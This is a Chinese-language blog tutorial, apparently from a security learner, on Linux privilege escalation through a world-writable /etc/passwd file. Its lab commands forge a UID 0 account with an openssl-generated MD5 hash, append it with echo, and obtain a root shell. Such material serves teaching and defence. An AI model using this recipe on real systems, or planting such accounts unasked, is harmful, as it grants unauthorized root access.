yongz
发布于 2023-02-16 / 0 阅读
0

Linux passwd 文件提权

Linux passwd 文件提权

对于一个正常的 /etc/passwd 文件来说,他的权限如下所示:

┌──(root㉿kali)-[~]
└─# ls -l /etc/passwd        
-rw-r--r-- 1 root root 3163 Aug 21 14:59 /etc/passwd

根据所学权限可以看出,/etc/passwd 默认是主要 root 用户可读可写,root 组与其他组可读。

但是,假设运维人员突然抽了一下,将权限改为任意用户可读可写时,就会产生隐患:

┌──(root㉿kali)-[~]
└─# chmod o+w /etc/passwd
                                                                                       
┌──(root㉿kali)-[~]
└─# ls -l /etc/passwd     
-rw-r--rw- 1 root root 3163 Aug 21 14:59 /etc/passwd

┌──(root㉿kali)-[~]
└─# su kali

┌──(kali㉿kali)-[/root]
└─$ head -n 2 /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

这时我们需要做的就是:尝试伪造一个用户,在密码占位符处指定密码,并且 UID 设置为 0,将其添加到 /etc/passwd 文件中。

其中 x 位置表示的是该用户的密码,密码可以采用多种形式~~(但肯定不能是明文)~~,但是由于 Kali 来说这里使用的是 md5 加密。

这里使用 openssl 工具生成加密的密码:

# 使用基于 MD5 的密码算法计算和加盐指定密码的哈希值,这里盐为 123456,后续需要填写密码,这里密码为 123
openssl passwd -1 -salt 123456

┌──(kali㉿kali)-[/root]
└─$ openssl passwd -1 -salt 123456
Password: 
$1$123456$wWKtx7yY/RnLiPN.KaX.z.

编写一个具有管理员权限的字符串:

yongz:$1$123456$wWKtx7yY/RnLiPN.KaX.z.:0:0:root:/root:/usr/bin/zsh

┌──(kali㉿kali)-[/root]
└─$ echo 'yongz:$1$123456$wWKtx7yY/RnLiPN.KaX.z.:0:0:root:/root:/usr/bin/zsh' >> /etc/passwd
                                                                                       
┌──(kali㉿kali)-[/root]
└─$ tail -n 1 /etc/passwd 
yongz:$1$123456$wWKtx7yY/RnLiPN.KaX.z.:0:0:root:/root:/usr/bin/zsh

切换一下用户,查看是否成功:

┌──(kali㉿kali)-[/root]
└─$ su yongz
Password: 

┌──(root㉿kali)-[~]
└─# 

注:可能有同学非常疑惑,为什么 su yongz 切换到的却是 root,这是因为在最上方已经有一个 UID=0 的 root 用户了,所以系统优先识别到第一个 UID=0 的用户。